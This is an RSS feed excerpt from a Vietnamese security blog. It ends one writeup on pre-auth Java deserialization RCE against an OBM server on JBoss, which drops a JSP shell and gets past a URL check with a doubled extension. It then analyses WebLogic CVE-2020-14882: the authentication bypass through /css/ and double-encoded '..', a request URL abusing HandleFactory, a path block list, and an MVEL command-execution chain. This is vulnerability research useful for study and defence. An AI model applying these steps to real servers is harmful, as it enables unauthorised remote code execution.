<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242069348/F1B_Op0sp.png" alt /></p>
<p>Sau khi search qua 1 vòng thì mình biết được cái Filter này được định nghĩa trong config file, và cứ mỗi request sẽ gọi tới method doFilter() của các class này. (For more info: <a target="_blank" href="https://www.journaldev.com/1933/java-servlet-filter-example-tutorial">https://www.journaldev.com/1933/java-servlet-filter-example-tutorial</a>)</p>
<ul>
<li><em>Vấn đề này có thể sẽ hơi rối, mình sẽ giải thích vào 1 dịp khác!</em></li>
</ul>
<p><strong>#The RCE gadget</strong></p>
<p>Quay trở lại với bug pre-auth deserialization tại entrypoint /kpiQueryServiceProxy.</p>
<p>Hiện tại PoC mới chỉ ở mức URLDNS, nguyên do như đã nói ở trên là các library trong này khá mới, một số class lại còn bị restrict bởi Jboss nên khó mà có thể RCE được bằng các gadget đã biết! Nhưng ko sao, đó giờ mình làm chuyện khó quen rồi 👌,</p>
<p>Một số lỗi xảy ra khi thử các known gadget như sau:</p>
<ul>
<li><strong>CommonsBeanutils1</strong>: TemplatesImpl not found</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242071572/XJQs4cHg7.png" alt /></p>
<p>Điều này khá là dị, mình kiểm tra thì thấy rõ ràng là Jboss vẫn dùng java runtime của sun, vẫn tồn tại TemplatesImpl trong <strong>rt.jar</strong> như thường, tại sao lại có lỗi như thế kia …?</p>
<p>Lại chày cối debug tiếp thì mình biết được rằng các app của Jboss không sử dụng trực tiếp <strong>rt.jar</strong> của jre, thay vào đó classpath của app chỉ dựa vào các Jboss module được cung cấp!</p>
<p>Với trường hợp OBM hiện tại, các module này nằm trong <strong>C:\HPBSM\application-server\modules\system\layers\base</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242073155/QfFgkZ3Bba.png" alt /></p>
<p>Các folder này được coi như là các package của java, khi load tới package nào thì Jboss sẽ lấy lần lượt các module trong đó, file module.xml sẽ xác định vị trí library cần load lên, ví dụ như Apache Commons Collections sẽ có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242074621/ZWBb4R27k.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242076367/9xEar_Rcuv.png" alt /></p>
<p>Quay trở lại với trường hợp load class: <strong>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</strong></p>
<p>Trong folder <strong><em>com/sun/</em></strong> không hề có folder <strong><em>org</em></strong>, do đó khi Jboss lookup module sẽ không thể tìm thấy được <strong><em>TemplatesImpl </em></strong>mà ta mong muốn 🤨.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242077938/WJjki4QgV.png" alt /></p>
<p>.</p>
<p>.</p>
<p>Thử rất nhiều gadget, cho tới khi thử tới gadget AspectJ shell drop (có đề cập trong bài viết <a target="_blank" href="https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5">này</a>) thì lại may mắn thay: trên lý thuyết thì tất cả các class cần thiết cho gadget đều tồn tại trong classpath.</p>
<p>Gadget này yêu cầu các library sau: <em>org.aspectj.weaver, commons-collections</em></p>
<p>Tuy nhiên khi gen payload và gửi tới server thì lại gặp ngay lỗi sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242079472/czKWK-NEMd.png" alt /></p>
<p>Server báo không tìm thấy class của aspectj weaver: <strong><em>org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap</em></strong></p>
<p>Lỗi này trông khá lạ,dài dòng hơn so với những lỗi Class Not Found của gadget khác.</p>
<p>Rõ ràng là khi kiểm tra, SimpleCache có trong classpath của web app. Để chắc chắn hơn, mình tạo lại object của SimpleCache và gửi cho server deserialize object này, kết quả như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242081083/gBjnHCIVF.png" alt /></p>
<p>Như thế có nghĩa là class này CÓ tồn tại trên classpath, sao lại bị not found khi deserialize theo chain đc nhỉ 🤔.</p>
<p>Đọc lại stacktrace của exception khi báo class not found, server đẩy ra exception ngay trong 1 chain của gadget: <strong><em>LazyMap.readObject()</em></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242082781/0Ghld9LIJ.png" alt /></p>
<p>Đoạn code xử lý của LazyMap.readObject() rất đơn giản như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242084301/vTA6OUfvJ.png" alt /></p>
<p>Có lẽ dòng gây ra lỗi chính là đoạn “<strong><em>this.map = (Map)in.readObject();</em></strong>”, (trong đó theo lý thuyết thì <strong><em>this.map </em></strong>sẽ có giá trị của object SimpleCache đã tạo).</p>
<p>Vì khi deserialize, <strong><em>in.defaultReadObject()</em></strong> được gọi đầu tiên để tạo lại các serializable field của Object, đối với các trường hợp đặc biệt: ví dụ như transient field không được serialized thì sẽ phải thực hiện tạo lại bằng custom code của class đó, trong case hiện tại thì field <strong>this.map </strong>cũng là 1 transient field, và được tạo lại theo đúng quy trình!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242085820/a-K1ZYLsw.png" alt /></p>
<p>Dựa theo các dữ liệu bên trên, mình đặt ra 1 giả thuyết như thế này:</p>
<ul>
<li><p>Object của SimpleCache được gán vào <strong><em>this.map</em></strong>, trong khi <strong><em>this.map</em></strong> lại là 1 transient Field</p>
</li>
<li><p>Khi deserialize, java runtime “<em>không thực sự quan tâm</em>” tới sự tồn tại của giá trị trong transient Field</p>
</li>
<li><p>Do đó đã không load các library cần thiết vào classpath</p>
</li>
</ul>
<p>Với 80% tự tin rằng giả thuyết trên là đúng, mình nhanh chóng nghĩ ra 1 cách khắc phục như sau:</p>
<p>Nếu như khi deserialize, class SimpleCache được load vào classpath trước, sau đó mới thực hiện deserialize gadget AspectJ ban đầu thì có thể mọi chuyện sẽ suôn sẻ …</p>
<p>Vậy thực hiện như thế nào?</p>
<p>Mình tìm được trong library một vài class thú vị, ví dụ như “<strong><em>W_ObjectResultImpl</em></strong>”:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242087322/7wSdb8px4.png" alt /></p>
<p><strong><em>readExternal()</em></strong> sẽ được gọi khi deserialize(gần giống như<strong><em> readObject()</em></strong>).</p>
<p>Class này có gì đặc biệt?</p>
<p>Để ý 1 chút sẽ thấy ở các dòng từ 86 trở xuống, liên tiếp gọi <strong><em>in.readObject()</em></strong></p>
<p>Dựa theo giả thuyết của mình, thì trong này mình sẽ sắp đặt cho <strong><em>this._ruleParameter</em></strong> = Object của SimpleCache,<strong><em> this._dv1</em></strong> = real gadget.</p>
<p>Khi deserialize, các Object cũng lần lượt được reconstruct theo thứ tự sắp xếp trong <strong><em>readExternal(), </em></strong>dựa vào đó để load các library cần thiết lên classpath trước, tránh bị class not found như ban đầu.</p>
<p>Nói thì dài, nhưng có thể minh họa lại như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242089155/KtZlTVOiF.png" alt /></p>
<p>Sau khi gen payload và gửi lên server được kết quả như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242091621/wagLtkfuI.png" alt /></p>
<p>Server trả về lỗi ClassCastException mình biết rằng, tới 90% là gadget này đã thành công rồi,</p>
<p>Để confirm lại một lần nữa, mình đặt breakpoint tại điểm sink của gadget: <strong><em>org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap.put()</em></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242093285/FiJL3qHX1.png" alt /></p>
<p>Vậy là đã reach tới sink, file “<strong>ahi.txt</strong>” đã được tạo tại folder tùy ý:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242095077/OUePGw8HA.png" alt /></p>
<p>Tuy nhiên do bị check bởi <strong><em>isNonsecureURL()</em></strong>, cần phải đăng nhập mới truy cập được file.</p>
<p>Quay trở lại với đoạn check URL bên trên, url được check bằng các pattern regex, ví dụ: “<strong>.</strong>/topaz/blank.jsp.<em>**”</em></p>
<p>Như vậy thì việc bypass lại trở nên quá đơn giản, với pattern bên trên, thì url “<strong><em>/topaz/blank.jsp.jsp</em></strong>” cũng có thể thỏa mãn điều kiện check.</p>
<p>Drop lại file shell mới với tên <strong><em>blank.jsp.jsp, </em></strong>thì đã có thể RCE thành công:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242096671/b4R8z3JxN.png" alt /></p>
<p>PoC video: <a target="_blank" href="https://youtu.be/X6p7Mtd4QgE">https://youtu.be/X6p7Mtd4QgE</a></p>
<p>PoC Generator: <a target="_blank" href="https://gist.github.com/testanull/c41e48ba233e1a9a28007eda1c4a4a66">https://gist.github.com/testanull/5e9ac445403f890be785308353abebab</a></p>
<p><strong>#Kết</strong></p>
<p>Mình không chờ đợi được mail reply từ phía ZDI nên đành show &amp; public PoC luôn</p>
<p>Quá trình debug cũng phát hiện và học hỏi được thêm khá nhiều thứ, khuyến khích các bạn trẻ nên lab và debug để hiểu rõ hơn.</p>
<p>Bài viết lần này khá là dài, rất cảm ơn các bạn đã đọc hết tới đây,</p>
<p><strong>Jang</strong></p>
]]></content:encoded></item><item><title><![CDATA[Weblogic RCE by only one GET request — CVE-2020–14882 Analysis]]></title><description><![CDATA[TL;DR

Mới đó mà đã ngót nghét 1 năm, tầm này năm ngoái mình đang loay hoay với GadgetInspector, tìm ra CVE-2020–2555 và report cho ZDI.
//Tản mạn ltinh xíu, ai muốn đọc thì kéo xuống dưới luôn cũng được
Ngày đó, mỗi lần Oracle CPU release là lại ngó...]]></description><link>https://testanull.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf</link><guid isPermaLink="true">https://testanull.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Wed, 28 Oct 2020 09:52:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241976773/1BSsZxepC.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>TL;DR</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241917202/fHHSlw3x7.gif" alt /></p>
<p>Mới đó mà đã ngót nghét 1 năm, tầm này năm ngoái mình đang loay hoay với GadgetInspector, tìm ra CVE-2020–2555 và report cho ZDI.</p>
<p><em>//Tản mạn ltinh xíu, ai muốn đọc thì kéo xuống dưới luôn cũng được</em></p>
<p>Ngày đó, mỗi lần Oracle CPU release là lại ngóng chờ, xem bug của mình đã được vá chưa, tầm nào thì được public PoC … Cuối cùng, sau 6 tháng, Oracle cũng đã release bản vá cho cái bug mình report.</p>
<p>Hồi đó cũng hơi ngây ngô, ko nghĩ việc tìm ra 1 cái chain deserialization mới cũng được tính là bug mới, và được đánh số 9.8/10 đàng hoàng luôn…</p>
<p>Sau cái CVE-2020–2883 và 2884 (bypass của 2555), thì mình đã chán, không còn muốn theo đuổi công việc tìm kiếm gadgetchain, và lặp lại chung 1 entrypoint T3 trên weblogic nữa.</p>
<p>Trong thời gian đó cũng là vào mùa đồ án nữa, nên là mình bàn giao lại hết công việc này cho đồng nghiệp của mình, là ai thì chắc nhiều người cũng biết =)).</p>
<p>Sau CVE-2020–2555, nhiều người cũng ngộ ra là library coherence có nhiều thứ hay ho để lợi dụng. Từ đó trở đi, mỗi lần Oracle CPU release là lại thêm 1 đống gadgetchain mới của weblogic T3 deserialzation, đôi khi còn có những CVE bị trùng số với 1 ai đó nữa cơ:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241919758/_OVkUfNxP.png" alt /></p>
<p>Thực ra thì việc tìm gadgetchain cũng rất chi là thú vị, nhưng chỉ thú vị khi còn entrypoint.</p>
<p>Việc ngăn chặn thì rất đơn giản, chỉ cần disable T3/IIOP đi là nghỉ game luôn ¯_(ツ)_/¯.</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>Cho tới ngày 21/10 vừa rồi, Oracle CPU Oct đã mang tới 1 vài bất ngờ lớn.</p>
<p>Liếc qua weblogic thì cũng vẫn như thường lệ: T3, IIOP… bình thường,</p>
<p>Tuy nhiên có 1 điểm mới ở đây:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241921530/iXTxFK8x0.png" alt /></p>
<p><strong>CVE-2020–14882</strong>:</p>
<ul>
<li><p>CVSS: 9.8/10</p>
</li>
<li><p>Giao thức: <strong>HTTP</strong></p>
</li>
<li><p>Ảnh hưởng tất cả các version</p>
</li>
</ul>
<p>Bug này được report bởi 1 thanh niên người tàu:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241923366/bcEZXik8A.png" alt /></p>
<p>Trước giờ weblogic hầu như chỉ có bug ở chỗ T3 Deser, cứ vá rồi lại bypass, vá rồi lại bypass … (nghĩ đến cũng đủ mệt ròi).</p>
<p>Chậc, lại phải kéo patch về xem thôi …</p>
<p>Mình chọn phiên bản để phân tích là Weblogic 12.2.1.3, bản vá Oct đợt này có số 3191038, của July là 31535411.</p>
<p>Diff 2 bản vá và phát hiện ra tại component console, 1 số file class đã bị thay đổi trong bản vá mới: <strong>HandleFactory.class</strong> và <strong>MBeanUtilsInitSingleFileServlet.class</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241924916/8MMsKyr5J.png" alt /></p>
<p><strong>#The Sink</strong></p>
<p>Tiếp tục xem sự thay đổi trong các file này, đầu tiên là <strong>com.bea.console.handles.HandleFactory.getHandle():</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241926577/sOgKa9QGq.png" alt /></p>
<p>Nhìn sơ qua cũng có thể nhận thấy ngay điểm khác biệt này: bản vá lần này của <strong>HandleFactory </strong>đã kiểm tra lại kiểu của <strong>handleClass</strong>, chỉ cho phép các class là instance của <strong>com.bea.console.handles.Handle</strong> đi qua:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241928344/2bm46YGoh.png" alt /></p>
<p>Theo như flow của method <strong>HandleFactory.getHandle()</strong>, dữ liệu nhận vào là 1 String, sau khi qua nhiều lần xử lý thì sẽ đến được <strong>Class.forName(className)</strong> để load class này lên. Tiếp đó sẽ tìm kiếm 1 trong class đó 1 constructor với 1 arg là String để tạo instance mới từ đó.</p>
<p>Diễn giải luồng xử lý sẽ như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241930386/CyLe2D8Wc.png" alt /></p>
<p>Có thể trigger entrypoint này bằng 1 GET request sau (tuy nhiên đoạn này vẫn cần authenticated vào trước):</p>
<pre><code>http:<span class="hljs-regexp">//</span>&lt;target&gt;/<span class="hljs-built_in">console</span>/<span class="hljs-built_in">console</span>.portal?_nfpb=<span class="hljs-literal">true</span>&amp;_pageLabel=HomePage1&amp;handle=**java.lang.<span class="hljs-built_in">String</span>(<span class="hljs-string">"ahihi"</span>)**
</code></pre><p>Đặt breakpoint tại HandleFactory.getHandle(), các giá trị của <strong>handleConstructor</strong>, <strong>args </strong>đều đã bị control từ dữ liệu đầu vào.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241932411/V5JoCoS02.png" alt /></p>
<p>Đây cũng chính là vị trí bị lợi dụng để RCE trong CVE-2020–14882,</p>
<p>Để lợi dụng được entrypoint này thì cần phải tìm ra 1 class có chứa public Constructor với 1 argument = String.</p>
<p>Khi debug tới đây thì mình cũng định để đó, dù sao sink cũng biết rồi, tới khi nào tìm được entrypoint pre-auth thì mới chạy tool để tìm class trigger được bug!</p>
<p><strong>#The Source</strong></p>
<p>Với HandleFactory.getHandle() đã là sink của bug này, như vậy thì class bị patch còn lại — MBeanUtilsInitSingleFileServlet có thể sẽ là Source của bug!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241934342/j5FQHKWGs.png" alt /></p>
<p>Class sau khi được vá sẽ có thêm 1 field “IllegalUrl” như sau:</p>
<pre><code><span class="hljs-keyword">private</span> <span class="hljs-built_in">static</span> <span class="hljs-keyword">final</span> <span class="hljs-keyword">String</span>[] **IllegalUrl **= <span class="hljs-keyword">new</span> <span class="hljs-keyword">String</span>[]{<span class="hljs-string">";"</span>, <span class="hljs-string">"**%252E%252E**"</span>, <span class="hljs-string">"**%2E%2E**"</span>, <span class="hljs-string">"**..**"</span>, <span class="hljs-string">"%3C"</span>, <span class="hljs-string">"%3E"</span>, <span class="hljs-string">"&lt;"</span>, <span class="hljs-string">"&gt;"</span>};
</code></pre><p>Đoạn code xử lý của servlet này đơn thuần chỉ là check xem trên url có tồn tại chuỗi “<strong>..</strong>” hay không, nếu có thì sẽ reject request này! Chắc hẳn phải có vấn đề gì đó với dấu “<strong>..</strong>”, nên nó mới bị filter lại như vậy.</p>
<p>Hơn nữa để reach được tới MBeanUtilsInitSingleFileServlet.service(), cần phải qua 1 bước authen nữa ¯_(ツ)_/¯.</p>
<p>“<em>Thế là post-auth RCE ròi, làm sao có thể là 9.8/10 được chứ …</em>”. Toi thầm nghĩ và tiếp tục mò mẫm.</p>
<p>.</p>
<p>.</p>
<p>Có lẽ cũng giống như 1 số servlet trên java, weblogic cũng có folder webapp, đối với của console thì đó là:</p>
<p>“<em>\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp</em>”</p>
<p>Và đương nhiên, cũng có các file config web.xml, struts-config.xml như thường lệ:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241936020/tgowcFldo.png" alt /></p>
<p>Theo như config trong web.xml, <em>MBeanUtilsInitSingleFileServlet </em>là 1 init-param của AppManagerServlet,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241938133/uI7jgcJXc9.png" alt /></p>
<p>AppManagerServlet được map vào các url pattern sau:</p>
<ul>
<li><p>/appmanager/*</p>
</li>
<li><p>*.portlet</p>
</li>
<li><p>*.portion</p>
</li>
<li><p>*.portal</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241939650/SwXJX0nnL.png" alt /></p>
<p>Trong đó có bao gồm cả “<em>/console/console.portal</em>”, có thể thấy ngay sau khi login vào console:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241941212/kXlxczYMU.png" alt /></p>
<p>…</p>
<p>Sau khi đào bới một hồi thì cũng tìm ra cái class xử lý logic, quyết định xem request này nên authen or non-authen required, trong weblogic 12.2.1.3 là class <strong><em>weblogic.servlet.security.internal.WebAppSecurity.checkAccess()</em></strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241943103/50K7QrlRv.png" alt /></p>
<p>Tại đây,<strong> <em>WebAppSecurityWLS.getConstraint(request)</em></strong> sẽ lấy các constraint của request hiện tại, mỗi một constraint có chứa các thông tin như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241944656/KcrvAVftW.png" alt /></p>
<p>Trong đó, nếu như constraint có flag <em>unrestrict=true</em> thì request đó sẽ được quyết định là unauth, nếu không sẽ trả về page login.</p>
<p>Tiếp tục F7 đi vào <strong><em>WebAppSecurityWLS.getConstraint()</em></strong>, tại đây có thể lấy được tất cả các constraint, dựa vào đó có thể biế t được các url nào sẽ được bỏ qua phần check authentication, list các url pattern được bỏ qua check authen như sau:</p>
<ul>
<li><p><em>/bea-helpsets/*</em></p>
</li>
<li><p><em>/framework/skins/wlsconsole/images/*</em></p>
</li>
<li><p><em>/framework/skins/wlsconsole/css/*</em></p>
</li>
<li><p><em>/framework/skeletons/wlsconsole/js/*</em></p>
</li>
<li><p><em>/framework/skeletons/wlsconsole/css/*</em></p>
</li>
<li><p><em>/css/*</em></p>
</li>
<li><p><em>/common/*</em></p>
</li>
<li><p><em>/images/*</em></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241946194/HsK7f1fqQ.png" alt /></p>
<p>Dựa vào list các pattern này và thử thêm các trick bypass url trước đó, ví dụ như: “<em>..;/, /#/../</em>”, nhưng vẫn ko tìm đc gì thêm hay ho…</p>
<p>Tới đây thì mình stuck luôn, ko nghĩ ra gì mới!</p>
<p>Lên twitter thì chưa thấy ai đăng PoC gì cả, đành vứt hết liêm sỉ đi xin hint từ những người anh em bên mẫu quốc! (xin phép được giấu tên người này)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241947838/0uG14I9Nc.png" alt /></p>
<p>Yeah, và sau đó bác này cho mình hẳn 1 cái pic của PoC luôn, thật là tốt bụng và hào phóng!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241949417/DINd6VCCO.png" alt /></p>
<p>Trong đó thì phần abuse HandleFactory đã biết rồi, còn phần url kia lại là: “<em>/console/console%2E%2E.portal</em>” A.K.A “<em>/console/console…portal</em>”</p>
<p>Mình đem thử thì thấy ko đúng lắm, với url “<em>/console/console%2E%2E.portal</em>” thì constraint trả về vẫn là “<strong>unrestricted=false</strong>” nghĩa là vẫn cần authen mới qua được:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241951182/PU-sO8gct.png" alt /></p>
<p>Hỏi lại thanh niên kia thì hắn mới bảo như vậy:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241952820/FK3q1kyxD.png" alt /></p>
<p>PoC hắn gửi ban đầu chỉ là cái hint mà thôi, để bypass thì cần 1 chút trick, abuse 1 vài resource nào đó mới có thể trở thành unauth RCE được!</p>
<p>Loanh quanh luẩn quẩn lại quay trở về với vị trí ban đầu,</p>
<p>Khi đó thì mình cũng khá là nản rồi, đành kêu thêm mấy đàn em vào ngâm cứu chung cho đỡ. Lại 1 chút flashback về ngày còn chơi CTF, ngày đó cứ mỗi khi stuck lại đem bàn giao idea cho đồng đội để san sẻ suy nghĩ, và hiệu quả lúc nào cũng cao hơn là 1 mình tự chơi …</p>
<p>Nhóm này thì cũng chỉ có 3 người: mình, <a target="_blank" href="https://twitter.com/NguyenH89059298">PeterJson</a> và @Quynh Le. Chuyên đâm chọt các loại bug xảy ra trên java</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241954236/yr4eu3mKr.png" alt /></p>
<p>Và rồi thanh niên Đức đã tìm ra thứ cần phải thấy =)), 1 url có thể trigger được <strong><em>MBeanUtilsInitSingleFileServlet </em></strong>mà không phải authen gì cả:</p>
<pre><code>/<span class="hljs-built_in">console</span>/css/changemgmt.portal
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241955870/Pv0QQ1KW1.png" alt /></p>
<p>Mình cũng hơi bất ngờ khi thấy request này, nhưng test lại thì đúng là nó có thể trigger được thật …</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241957497/ednxoqk5m.png" alt /></p>
<p>Kiểm tra lại trong debugger, constraint đúng là được map vào “/css/” nên được <strong>unrestrict </strong>thật,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241959250/TplWARMPF.png" alt /></p>
<p>Và bất ngờ hơn, khi kiểm tra lại servlet handle cái entrypoint này, lại thấy là <strong><em>AsyncInitServlet </em></strong>đang handle, chứ không phải là <strong><em>FileServlet </em></strong>như mình nghĩ!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241960685/iBIaWlhCa.png" alt /></p>
<p>So sánh với 1 request thông thường (có đuôi .css), <strong>FileServlet </strong>sẽ handle request này.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241962342/AIIdfVf6o.png" alt /></p>
<p>Đó giờ mình cứ nghĩ là có điều gì magic ở FileServlet, nên cứ cắm đầu vào tìm lỗi của nó … :(</p>
<p>Nhưng thực tế điều magic lại không nằm ở đó … nó nằm ở web.xml cơ!</p>
<p>Nhìn lại phần khai báo static resource của web.xml:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241963866/BhRE2KqEo.png" alt /></p>
<p>Trong đó:</p>
<ul>
<li><p>Url pattern “<em>/common/**” được xử lý bởi </em>JSPCServlet *(handle các request tới file jsp)</p>
</li>
<li><p>Các url pattern “<em>/framework/**” được xử lý bởi </em>FileServlet*</p>
</li>
<li><p>…</p>
</li>
</ul>
<p>Tuy nhiên với các url pattern<em> “<strong>/images/</strong></em>”<em> và </em>“<strong>/css/*</strong>”* thì lại không được khai báo servlet nào sẽ handle cả!</p>
<p>Do đó khi request với url “<strong><em>/console/css/aaasdasdasd.portal</em></strong>”, <strong><em>AppManagerServlet </em></strong>sẽ handle request này.</p>
<p>Tóm lược lại như sau:</p>
<ul>
<li><p>“<em>/css/*</em>” để bypass authen</p>
</li>
<li><p>“<em>*.portal</em>” để trigger</p>
</li>
</ul>
<p>Tới đây thì đã có thể reach được <strong><em>MBeanUtilsInitSingleFileServlet.service() </em></strong>mà không cần phải authen gì nữa</p>
<p>Tuy nhiên request vẫn chưa thể reach tới được <strong><em>HandleFactory.getHandle()</em></strong> do url pattern chưa match được với portlet!</p>
<p>Ngay lúc đó, dựa vào hint ban đầu mà thanh niên người tàu kia gởi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241965520/n0Ux3-kXN.plain" alt /></p>
<p>Vậy ra dấu “..” ở đây, là ý muốn hint sử dụng “..” double encode để trigger bug, thử lại thì đúng như thế thật:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241967200/MKg2xvymw.png" alt /></p>
<p>Tới đây thì đã có thể viết PoC hoàn thiện rồi, nhưng mình xin phép phân tích thêm đoạn này,</p>
<p>Sau khi đi qua MBeanUtilsInitSingleFileServlet.service() và thêm 1 số đoạn dài dài nữa, tại UIServletInternal.getTree(), url pattern lại được bóc tách và thực hiện decode URL 1 lần nữa:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241969020/p-LOdSDel.png" alt="Trước khi decode" /><em>Trước khi decode</em></p>
<p>Và sau khi decode:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241970609/aLbg2iTd0.png" alt /></p>
<p>Như vậy đã giải thích tại sao việc sử dụng double encoded url có thể vừa bypass được đoạn xử lý normalized url ban đầu, mà vẫn có thể làm cho đoạn xử lý servlet về sau hoạt động đúng!</p>
<p><strong>#Trigger RCE</strong></p>
<p>Trong PoC ăn xin được, thanh niên này sử dụng <strong><em>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext() </em></strong>để trigger RCE, tuy nhiên chain này yêu cầu phải có outbound.</p>
<p>Mình là người cầu toàn, hơn nữa trong thực tế thì khá nhiều server chặn outbound nên mình quyết định tìm ra 1 chain mới, no outbound required, RCE in one hit! 🤣</p>
<p>Ngày còn mần liferay, mình đã chỉnh sửa công cụ GadgetInspector rất nhiều, phục vụ cho việc trace code.</p>
<p>Tới lúc này thì nó lại phát huy tác dụng, lôi nó ra và chỉnh sửa một chút ít điều kiện trong code cho phù hợp với context mới, chạy tầm 5p thì ra được khá nhiều kết quả.</p>
<p>Trong đó có 1 chain khá là tiềm năng:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241972092/Eo31cPuxJ.png" alt /></p>
<p>Chain này sau khi nhận vào arg từ constructor sẽ gọi <em>ShellSession.exec()</em> để thực thi với arg này luôn:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241973651/qYVNhSp3X.png" alt /></p>
<p>Chain phía sau <em>ShellSession.exec() </em>còn dài để có thể thực thi được, mình tóm tắt lại như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241975232/6MnvvRpaa.png" alt /></p>
<p>Như vậy là có thể thực thi MVEL expression tùy ý (về MVEL thì hình như mình cũng đã từng nhắc tới trong các bài trước thì phải).</p>
<p><em>Thực sự thì tới tận lúc PoC thành công với chain mới này mình cũng vẫn chưa hết bất ngờ, ko tin đc là có những thứ có sẵn để lợi dụng như vậy. Mình không chắc đây có phải là 1 backdoor nào đó được để lại trong code hay không =))).</em></p>
<p>Sau khi kết hợp tất tần tật những thứ trên, thêm chút mắm muối, mình viết hẳn PoC execute command rồi có response luôn =)) cho khỏe. PoC cuối cùng được hoàn thiện bởi Đức chứ không phải mình,</p>
<p>PoC video: <a target="_blank" href="https://youtu.be/JFVDOIL0YtA">https://youtu.be/JFVDOIL0YtA</a></p>
<p>=)) Ai cần PoC thì tự nghiên cứu trong này nhé, mình ko có đồ ăn sẵn ở đây.</p>
<p>MVP to @voidfyoo,</p>
<p>Chân thành cảm ơn thanh niên người tàu, <a target="_blank" href="https://twitter.com/NguyenH89059298">PeterJson</a> và @Quynh</p>
<p>Cảm ơn các bạn đã đọc tới đây!</p>
<p><em>Jang</em></p>
]]></content:encoded></item><item><title><![CDATA[CVE-2020–4280 — IBM QRadar Java Deserialization Anlysis (and bypass)]]></title><description><![CDATA[[Tiếng Việt phía dưới]
It’s been a while since last blog post,
Partly because of work, another is I have lost motivation to write :(, so there is no more writing since the project until now.
